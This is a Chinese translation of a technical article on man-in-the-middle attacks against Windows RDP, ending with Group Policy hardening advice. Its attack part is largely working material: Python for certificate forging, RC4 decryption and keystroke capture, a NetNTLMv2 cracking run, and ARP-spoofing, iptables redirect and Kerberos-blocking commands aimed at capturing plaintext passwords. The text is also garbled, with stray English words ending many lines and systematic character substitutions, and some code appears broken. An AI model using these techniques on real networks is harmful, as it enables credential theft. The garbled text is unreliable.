最近看到一篇關於RDP攻擊的文章,不是很新的內容,本着學習的目的進行簡單的翻譯,也當作學習筆記,鑑於水平有限,有不少不到位的地方,還請包涵。node
RDP協議被系統管理員天天用來管理遠程Windows服務器。最多見的場景之一就是,用RDP在覈心服務器上執行遠程管理任務,好比用高權限的帳戶登陸域控服務器,這個帳戶的憑據經過RDP進行傳輸。所以,使用安全的RDP配置更加顯得相當重要。因爲配置錯誤,常常遇到以下的證書警告:python
若是在你所處的環境中,常常出現這種警告,將沒法識別出潛在的MitM攻擊。git
本文的目的在於提高安全意識,嚴肅的看待證書警告的重要性以及如何進行安全配置。計劃的讀者羣是系統管理員、滲透測試人員以及安全愛好者。雖然沒必要要,但推薦讀者最好具有如下的背景知識:github
- 公鑰及對稱密碼體制(RSA、RC4)
- SSL
- x509 證書
- TCP
- Python
- 十六進制數及二進制代碼
本文將證實如何經過MitM攻擊竊取用戶憑證。文章內容沒有涉及到最新的技術,甚至是早已被Cain實現過的技術。可是,Cain實在是太老了,並且關閉了源碼而且只能在Windows下使用。本文將分析技術細節,以及RDP協議的內部工做原理,並儘量真實的模擬一次攻擊行爲。算法
聲明:不得利用本文涉及到的技術獲取不屬於你的服務器權限。本文僅用於教學,且需取得系統管理員的受權。不然,你的行爲有可能涉及違法。本文涉及的源代碼可在如下連接中找到。https://github.com/SySS-Research/Seth。數組
首先利用Wirdshark,看看在經過RDP鏈接至服務器時到底發生了些什麼:
如圖所示,客戶端以一個建議開始,建議對RDP會話使用安全協議。咱們將三個安全協議作以下區分:緩存
- 標準RDP安全協議
- 強化的RDP安全協議或TLS協議
- CredSSP(憑據安全服務提供者)
以上截圖僅顯示了前兩種安全協議。請注意,RDP默認執行標準安全協議,客戶端沒有專門提示。TLS僅僅是將標準RDP安全協議封裝在TLS通道之中。順便,在本文中將互換的使用SSL協議與TLS協議。安全
CredSSP也是封裝在TLS協議之中,不過在受保護的通道中所傳輸的再也不是明文的密碼,而是用於認證的NTLM或者Kerberos協議。這個協議一般狀況下也被用於網絡級別認證(NLA)。bash
早期的用戶認證有個特徵,容許服務器在用戶提交任何憑據以前拒絕客戶端的訪問。好比,在用戶沒有所需的訪問權限的狀況下。服務器
在Wireshark所截取的會話中,能夠看到在客戶端與服務器協商使用強化的RDP協議以後,雙方進行了SSL握手。在這種狀況下,咱們在協商完成後的第一個數據包上點擊右鍵,選擇將TCP流解碼至SSL。
因此,若是咱們想對RDP會話進行MitM攻擊,僅僅使用SSL代理是不夠的,這個代理須要可以識別RDP協議。咱們選擇Python來實現這樣一個代理。爲實現這個目標,首先創建一個服務端socket,用來接受來自受害客戶端的連接。同時創建一個客戶端socket,用來連接真正的服務器。代理程序在兩個socket之間進行數據轉發,在必要的狀況下使用SSL協議對數據進行封裝。在此過程當中,咱們會詳細檢查數據,並對感興趣的數據進行修改。
首先須要修改的數據就是客戶端協議的安全級別,客戶端本來想通知服務端使用CredSSP,但經過代理修改安全級別至標準RDP安全協議。在默認配置下,服務端將會正常回復。
主程序以下:
def run(): open_sockets() handle_protocol_negotiation() if not RDP_PROTOCOL == 0: enableSSL() while True: if not forward_data(): break def forward_data(): readable, _, _ = select.select([local_conn, remote_socket], [], []) for s_in in readable: if s_in == local_conn: From = "Client" to_socket = remote_socket elif s_in == remote_socket: From = "Server" to_socket = local_conn data = s_in.recv(4096) if len(data) == 4096: while len(data)%4096 == 0: data += s_in.recv(4096) if data == b"": return close() dump_data(data, From=From) parse_rdp(data, From=From) data = tamper_data(data, From=From) to_socket.send(data) return True def enableSSL(): global local_conn global remote_socket print("Enable SSL") local_conn = ssl.wrap_socket( local_conn, server_side=True, keyfile=args.keyfile, certfile=args.certfile, ) remote_socket = ssl.wrap_socket(remote_socket)
run():建立socket,處理協議協商,在必要的狀況下啓用SSL。完成以後在兩個socket之間進行數據轉發。
dump_data():在debug模式下,以十六進制形式將數據打印在屏幕上。
parse_rdp():從數據流中提取敏感信息,並利用tamper_data()進行修改。
由於在破解標準RDP安全協議時須要用到密碼學相關知識,在此概要的介紹下RSA的基本概念。讀者可根據自身狀況選擇跳過此節。
在RSA加密算法中,加密、解密、簽名都是純粹的數學操做,工做在簡單整數的環境中。請明確,全部操做都限定於有限域之中。在生成RSA中的密鑰對時,須要兩個大素數p和q。模數\(n = p*q\)。利用歐拉函數計算 \(φ(n)=(p−1)*(q−1)\)。隨機選擇e,使得e與φ(n)互質。利用擴展歐幾里得算法求e的逆元d,使得\(e·d ≡ 1 mod φ(n)\)。
此時d爲私鑰,e、n構成公鑰。理論上講d能夠經過n、e計算得出,可是在不知道p和q的狀況下,求解φ(n)是困難的。這也就是爲何RSA算法的安全性基於大數分解的難度。在目前狀況下,沒有人知道更加有效的大數分解算法,除非擁有光量子計算機。
假設待加密明文爲m,密文爲c,e爲公鑰,d爲私鑰。
則加密變換爲:\(c≡m^e mod n\)。
解密變換爲:\(m≡c^d mod n\)。
若是你確實不明白以上的加解密算法,不要緊,這是數學問題,對於這篇文章來講確實有點難度。簽名和解密同樣,只須要在一段消息的hash值上進行運算。
當m或者c遠大於256bit時,運算的開銷會很是大,因此一般狀況下,僅會使用RSA對對稱加密的密鑰進行加密。明文一般狀況下使用一次一密的對稱加密算法(如AES等)進行加解密。
事實上,對於標準的RDP安全機制根本談不上破解,由於其設計伊始就存在缺陷。標準RDP協議安全機制工做流程以下:
客戶端聲明將使用標準RDP安全協議;
- 服務端贊成使用該協議,並將自身的RSA公鑰以及一個服務端隨機數發送給客戶端。公鑰以及如主機名等一些其餘信息的集合就稱爲「證書」。該證書使用終端服務的私鑰進行簽名(RSA簽名機制),以確保證書的真實性;
- 客戶端使用公鑰驗證證書的真實性,若驗證成功,則使用公鑰對客戶端隨機數進行加密,併發送至服務端;
- 服務端使用私鑰進行解密,獲取客戶端隨機數;
客戶端、服務端都從客戶端隨機數、服務端隨機數中獲取到了會話密鑰。會話密鑰用來加密會話的其他部分。
請注意,以上全部流程都是明文傳輸沒有使用SSL。理論上沒有任何問題,Microsoft想要本身實現SSL實現的功能。可是,密碼體制不是一件簡單的事,一般狀況下,要依賴現有的、通過時間檢驗的解決方案,而不是本身創建一套新的方案。此時,Microsoft犯了一個嚴重的錯誤,該錯誤如此明顯,以致於我徹底不理解爲何會這樣作。
你能看出問題在哪嗎?客戶端是如何獲取到終端服務的公鑰?答案就是:預裝!這就意味着每一個系統中的公鑰都是同樣的。更甚者,私鑰也是同樣的!因此,公私鑰能夠從任意Window系統中提取出來。事實上,咱們甚至都不須要如此作,由於Microsoft已經決定將之正式的公佈在網站上,只須要訪問microsoft.com就能夠查看到。
在會話密鑰已經被獲取的狀況下,對稱加密有如下幾種模式:None、40bit RC四、56bit RC四、128bit RC四、3DES(以上被稱爲FIPS)。默認狀況下使用128bit RC4(「High」)。可是,若是咱們能夠竊取到密鑰,如論加密強度如何,都沒有意義。
至此,目標已清晰:當收到服務端的公鑰後,迅速生成咱們本身的RSA密鑰對,並替換真實的公鑰。同時用私鑰對證書進行簽名。當客戶端成功的獲取到虛假的公鑰以後,咱們就可以獲取到客戶端的隨機數。利用私鑰進行解密,重寫以後,用服務端的公鑰從新加密,併發送。至此,咱們就能夠成功的嗅探客戶端與服務端之間的通訊了。
如今,惟一存在的問題就是RDP數據包的分析,下圖爲咱們感興趣的一個數據包:
表示公鑰的字段已經被高亮表示出來了。最前面的兩個以小端模式表示的字節,表明了公鑰的長度(0x011c)。如同以前討論過的,公鑰由模數和指數兩部分組成。查閱RDP協議格式,找出咱們感興趣的字段,如下是模數字段:
簽名字段以下:
服務端隨機數以下:
保留服務端隨機數,修改模數和簽名。爲了生成咱們本身的RSA密鑰對,咱們使用openssl,雖然Python擁有RSA庫,但執行效率要比openssl慢。
$ openssl genrsa 512 | openssl rsa -noout -text Generating RSA private key, 512 bit long modulus .....++++++++++++ ..++++++++++++ e is 65537 (0x010001) Private-Key: (512 bit) modulus: 00:f8:4c:16:d5:6c:75:96:65:b3:42:83:ee:26:f7: e6:8a:55:89:b0:61:6e:3e:ea:e0:d3:27:1c:bc:88: 81:48:29:d8:ff:39:18:d9:28:3d:29:e1:bf:5a:f1: 21:2a:9a:b8:b1:30:0f:4c:70:0a:d3:3c:e7:98:31: 64:b4:98:1f:d7 publicExponent: 65537 (0x10001) privateExponent: 00:b0:c1:89:e7:b8:e4:24:82:95:90:1e:57:25:0a: 88:e5:a5:6a:f5:53:06:a6:67:92:50:fe:a0:e8:5d: cc:9a:cf:38:9b:5f:ee:50:20:cf:10:0c:9b:e1:ee: 05:94:9a:16:e9:82:e2:55:48:69:1d:e8:dd:5b:c2: 8a:f6:47:38:c1 prime1: [...]
如今,咱們生成了所須要的模數n、公鑰e、私鑰d。事實上,咱們須要2048bit的密鑰,而不是示例中的512bit,但生成思路是一致的。
僞造簽名也很簡單,計算證書的前六個字段,按照協議格式添加內容,並用私鑰進行加密,如下是利用Python的函數實現:
def sign_certificate(cert): """Signs the certificate with the private key""" m = hashlib.md5() m.update(cert) m = m.digest() + b"\x00" + b"\xff"*45 + b"\x01" m = int.from_bytes(m, "little") d = int.from_bytes(TERM_PRIV_KEY["d"], "little") n = int.from_bytes(TERM_PRIV_KEY["n"], "little") s = pow(m, d, n) return s.to_bytes(len(crypto["sign"]), "little")
接下來須要截取的數據包包含有加密的客戶端隨機數,數據包以下:
再一次,將數據包中的關鍵字段高亮表示,開始的四個字節表明長度(0x0108)。因爲該數據包是用生成的公鑰加密,因此咱們能夠輕易的用私鑰進行解密:
如今,只須要用服務端的公鑰從新加密,修改數據包併發送。如今成功得到了私密的客戶端隨機數,但不知道什麼緣由,Microsoft並無將之做爲對稱加密的密鑰。這裏須要一個精心構造過的調用,來生成客戶端的密鑰、服務端的密鑰以及簽名密鑰。雖然無趣但卻並不困難。
在獲取到會話密鑰以後,初始化RC4流中的s-boxes。因爲RDP針對來自客戶端的消息與服務端的消息使用了不用的密鑰,因此咱們須要兩個s-boxes。s-boxes是一個256字節的數組,數組內的每一個元素都被密鑰擾亂,最終生成僞隨機子密碼,利用xor操做,對明文進行加密。Python實現算法以下:
class RC4(object): def __init__(self, key): x = 0 self.sbox = list(range(256)) for i in range(256): x = (x + self.sbox[i] + key[i % len(key)]) % 256 self.sbox[i], self.sbox[x] = self.sbox[x], self.sbox[i] self.i = self.j = 0 self.encrypted_packets = 0 def decrypt(self, data): out = [] for char in data: self.i = (self.i + 1) % 256 self.j = (self.j + self.sbox[self.i]) % 256 self.sbox[self.i], self.sbox[self.j] = ( self.sbox[self.j], self.sbox[self.i] ) out.append(char ^ self.sbox[( self.sbox[self.i] + self.sbox[self.j]) % 256 ]) self.encrypted_packets += 1 if self.encrypted_packets >= 4096: self.update_key() return bytes(bytearray(out)) def update_key(self): print("Updating session keys") # TODO finish this
從代碼中能夠看出,RDP協議要求加密過4096個數據包以後就更新密鑰。本文並無着力去解決這個問題,主要是證實證書中存在的漏洞。
如今咱們具有了讀取數據流的全部背景知識。咱們對數據流中包含的擊鍵信息很感興趣。經過查閱MSDN,學習RDP協議中的鍵盤事件及相關知識。在處理鍵盤、鼠標消息及一些其餘細節時,處理的並非很完善。但對於PoC來講,已經足夠了。
接下來,用客戶端鏈接僞造的RDP服務端,彈出警告。
注意到什麼了嗎?這並非一個SSL警告。至此,咱們已經可以成功的監聽到客戶端的擊鍵信息了。這也就是Cain的實現原理。
僅僅下降RDP協議的安全等級遠遠不夠,做爲一名攻擊者,將會努力使得攻擊變得更加隱蔽。受害者會注意到警告與一般狀況下的差別,並在創建連接以後依然會要求證書。
一樣的問題一直困擾着我,在使用Cain對RDP展開MitM攻擊的時候,看不到SSL警告。我發現向客戶解釋爲何SSL警告如此重要很困難,特別當他們使用不可以確實的自簽名證書時,這個MitM攻擊致使了徹底不一樣的警告。
接下來讓咱們嘗試下降強化RDP安全協議的安全等級。首先,咱們須要自簽名的SSL證書,能夠用openssl生成:
$ openssl req -new -newkey rsa:"$KEYLENGTH" -days "$DAYS" -nodes -x509 \ -subj "$SUBJ" -keyout privatekey.key -out certificate.crt 2> /dev/null
在恰當的時候將通訊數據封裝在SSL之中進行發送,這些工做已經完成。如同以前所說,標準RDP協議被封裝在SSL協議中,可是服務端一般狀況下將加密等級選爲「None」。使用SSL確保數據的完整性和真實性可用被很好的仿冒。在SSL之上再使用RC4徹底是浪費資源。提取密鑰的過程如同以前所說的同樣。
惟一額外的安全特徵是在SSL連接已經創建好以後,服務端須要確認原始的握手請求。服務端對客戶端說「請你告訴我你所可以使用的安全協議」。從二進制的角度來看,以下所示:
客戶端會將這個數據同最初發送的請求數據相比較,若是不一致就結束連接。很顯然,這已經太晚了。做爲中間人,能夠修改從客戶端發出的數據包,將上圖中0x4c處的數據進行替換,原始值爲0x03。以後,咱們就能夠輕鬆的讀取所有明文。
如同預期的同樣,受害者看到了一個合適的SSL警告。但事實上已經不同了。在RDP連接創建以前,當使用咱們本身的證書的時候仍是有一些區別。不像NLA,認證發生在會話之中。再次,總有一些地方和標準工做流程存在差別,使得管理員有可能注意獲得。
首先聲明,咱們其實並無真正的突破CredSSP,實際上是在規避它。首先,讓咱們看看若是不降級攻擊,真實的連接是什麼樣的。相關數據以下:
高亮部分爲客戶端的挑戰值及NTLM響應,服務端的挑戰值在以前的消息之中。
咱們如今所看到的是NTLM認證。這是一種挑戰-響應技術,客戶端獲取到服務端的挑戰值(相似於以前提到過的服務端隨機數),客戶端挑戰值和用戶密碼還有一些其餘值,被加密爲hash值。這個hash值被稱爲「NTLM響應」,並被傳輸至服務端。
這個值是如何計算出來的,對咱們來講並不重要。咱們須要知道就是,NTLM不能被重放攻擊,也不能進行哈希傳遞攻擊,可是能夠進行hash碰撞攻擊。NTLM實現的hash算法稱爲HMAC-MD5,是一個至關簡單的算法,但一般狀況下會使用salt。可使用Hashcat或者John The Ripper進行破解,使用John時的hash格式以下:
<Username>::<Domain>:<ServerChallenge>:<ClientChallenge>:<NTLMResponse>
示例數據以下:
User1::RD14:a5f46f6489dc654f:110d658e927f077b0402040cc1a6b6ef:0101000000000 000d5fda87cec95d201a7559d44f431848a0000000002000800520044003100340001000800 44004300300031000400140072006400310034002e006c006f00630061006c0003001e00640 06300300031002e0072006400310034002e006c006f00630061006c00050014007200640031 0034002e006c006f00630061006c0007000800d5fda87cec95d201060004000200000008003 000300000000000000000000000002000004cfa6e96109bd90f6a4080daaa8e264e4ebfaffa e9e368af787f53e389d96b180a0010000000000000000000000000000000000009002c00540 0450052004d005300520056002f003100390032002e003100360038002e00340030002e0031 0037003900000000000000000000000000
將以上數據存爲hashes.txt,使用以下命令啓動john:
$ echo 'S00perS3cretPa$$word' | ./john --format=netntlmv2 --stdin hashes.txt Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 8 OpenMP threads Press Ctrl-C to abort, or send SIGUSR1 to john process for status S00perS3cretPa$$word (User1) 1g 0:00:00:00 33.33g/s 33.33p/s 33.33c/s 33.33C/s S00perS3cretPa$$word Use the "--show" option to display all of the cracked passwords reliably Session completed
結果如上,聊勝於無,但咱們能作的更好。
咱們必須明確一個問題「服務端是如何確認NTLM響應的?」這就須要用到域控服務器。但若是域控服務器不可用呢?服務端會發出「使用強化的RDP代替NLA」,客戶端會遵照這個消息。有趣的是,在客戶端已經緩存密碼以後,會選擇直接發送密碼,而不是將用戶重定向到登陸窗口。這正是咱們想要的。除去SSL警告以外,沒有任何其餘的異常。
因此,在客戶端已發送NTLM響應以後,咱們用如下數據替代服務端的響應。
00000000: 300d a003 0201 04a4 0602 04c0 0000 5e 0.............^
相關內容沒有找到官方文檔,在實際中,當服務端沒法聯繫到域控制器的時候所發送的數據包就是如此。客戶端將會降級到強化的RDP協議,顯示SSL警告,並經過SSL向服務端傳輸密碼。
注意,咱們並無看到SSL警告。根據標準,客戶端會發送SSL證書的指紋到服務端,該指紋被CredSSP協議中的密鑰所加密。若是和服務端證書的指紋不匹配,該會話將被終止。這也就是以前爲何受害者輸入錯誤的密碼時咱們能監聽獲得,輸入正確的密碼時,咱們只能看到TLS錯誤的緣由。
如今須要作的工做就是截取NTLM的響應值。經過改寫Python腳本,返回特定的NTLM響應,使得NTLM認證始終失敗。受害者不會注意到,如以前所說,咱們將協議降級至TLS,以後證書將會被從新發送。
在此,還有一件事須要說明。若是客戶端屬於域內主機,將不會使用NTLM。取而代之的是Kerberos,在創建連接以前,客戶端會聯繫域控服務器,獲取ticket。對咱們來講,這是件好事。對於攻擊者來講,Kerberos的ticket相對於有salt的NTLM更沒用。若是攻擊者進行中間人攻擊,能夠經過鎖定全部與Kerberos服務進行通訊的數據,猜猜以後會發生什麼?若是客戶端聯繫不到Kerberos服務,將會自動降級爲NTLM。
至此,咱們已經可以在實驗環境中實現整個攻擊流程。但在真實環境中,受害者在RDP客戶端中並不會輸入MitM代理的ip,而是他們本身服務器的IP。有不少種方法可以實現中間人攻擊,在此咱們選用ARP欺騙。對於PoC來講,實現起來足夠簡單,因爲ARP欺騙是layer-2層的攻擊,因此攻擊者與受害者須要在一個共同的子網之中。
在欺騙ARP、容許IPv4轉發以後,受害者與網關之間的全部流量都會流經咱們的主機。可是咱們仍是不知道受害者所輸入的IP地址,因此沒法啓動Python腳本。
首先建立一條iptables規則,拒絕全部來自受害者的用於RDP服務的SYN包:
$ iptables -A FORWARD -p tcp -s "$VICTIM_IP" --syn --dport 3389 -j REJECT
咱們不但願轉發任何其餘的流量,若是受害者已經創建好了RDP連接,將會終止該連接。若是咱們不拒絕這些數據包,受害者將同真正的服務器創建連接,而不是咱們的MitM代理。
第二,監聽來自受害者的流量,等待目的端口爲3389的SYN包,目的是找出目標服務器的IP地址。利用tcpdump實現:
$ tcpdump -n -c 1 -i "IFACE" src host "$VICTIM_IP" and \ "tcp[tcpflags] & tcp-syn != 0" and \ dst port 3389 2> /dev/null | \ sed -e 's/.> ([0-9.]).3389:.*/\1/'
參數「-c 1」表示首次匹配成功後即退出。這個SYN包將被丟棄,但不要緊,很快受害者主機將會重發這個包。
第三,獲取服務端的SSL證書,建立同名的自簽名證書,同時修改證書的過時時間。除非花費大量的時間和精力檢查指紋信息,不然很難區分二者之間的差異。如下bash腳本能夠完成上述功能。
接下來移除以前的iptables規則,將受害者與真實服務器之間的流量所有轉發到咱們的MitM代理地址上:
$ iptables -t nat -A PREROUTING -p tcp -d "ORIGINAL_DEST" \ -s "VICTIM_IP" --dport 3389 -j DNAT --to-destination "ATTACKER_IP"
爲了實現從Kerberos到NTLM的強制降級,鎖定了全部受害者與目標端口爲88的流量。
$ iptables -A INPUT -p tcp -s "VICTIM_IP" --dport 88 \ -j REJECT --reject-with tcp-reset
至此,咱們已經準備好運行Python腳本的全部環境。
$ rdp-cred-sniffer.py -c "CERTPATH" -k "KEYPATH" "ORIGINAL_DEST"
左圖爲受害者經過3389登陸域控服務器,右圖爲成功截取到的明文密碼。
做爲系統管理員,此刻你可能想知道能作些什麼來確保網絡的安全。
首先,最爲關鍵的是,當服務器身份得不到確認的狀況下,絕對不能創建RDP連接。好比,SSL證書沒有被可信的CA簽名。使用企業CA對全部服務器證書進行簽名。客戶端必須配置GPO,當證書不能被確認的狀況下拒絕連接。配置路徑以下:
Computerconfiguration→Policies→AdministrativeTemplates→WindowsComponents →RemoteDesktopServices (or Terminal Services)→Remote Desktop Connection Client →Configure server authentication for client
對因而否須要在服務端配置CredSSP(NLA)相對比較複雜。這一點一樣能在組策略中實現:
[路徑如上]→Remote Desktop Session Host (or Terminal Server)→Security →Require user authentication for remote connections by using Network Level Authentication
咱們已經瞭解到客戶端將用戶證書進行了緩存,NLA不可能方便的進行重傳,證書被緩存在內存之中。這些數據能夠被擁有SYSTEM權限的攻擊者獲取到,同時使用Mimikatz。這是一款難以想象的腳本,在被感染的主機上能夠成功的獲取到已登陸帳號的明文密碼,而且橫向獲取其餘帳號的密碼,直到成功獲取到域管理員的帳號。這也就是爲何只能在域管服務器上使用私人的域管帳號。
可是經過RDP遠程登陸域控服務器,使得服務器上遺留下了一個高權限的帳號,這是一個很是嚴重的問題。除此以外,若是啓用了NLA,「用戶在下次登陸時必須改變密碼」也被啓用,僅在終端服務中的用戶將會被鎖定。至今爲止咱們所能確認的是,NLA更方便,因爲使用更少的資源因此能夠減輕Dos攻擊,而且能夠防止如同MS12-020這樣的基於網絡的針對RDP的攻擊。這也是爲何內部還在討論是否推薦禁用NLA。
若是你拒絕使用NLA,能夠在組策略中進行以下設置,「在遠程鏈接中須要使用SSL」。
增長RDP的安全性還有其餘兩種措施,第一種是使用除了證書以外的第二種因素。有不少第三方的產品可使用,至少對域控制器這類關鍵系統進行加固。
萬一你須要使用Linux經過RDP鏈接Windows終端服務,須要提醒的是,比較流行的RDP客戶端rdesktop是沒法使用NLA而且沒法驗證SSL證書的。另外一款可替代的產品xfreerdp至少能夠驗證證書。
最後,請注意SSL警告不能被輕視,不管是在RDP仍是在HTTPS的環境中。做爲管理員,你有責任確認客戶端已經將你的CA設置爲可信證書。經過這種方式,能夠確保SSL警告屬於異常行爲,而不是廣泛現象,在出現異常時能夠及時尋求IT部門的協助。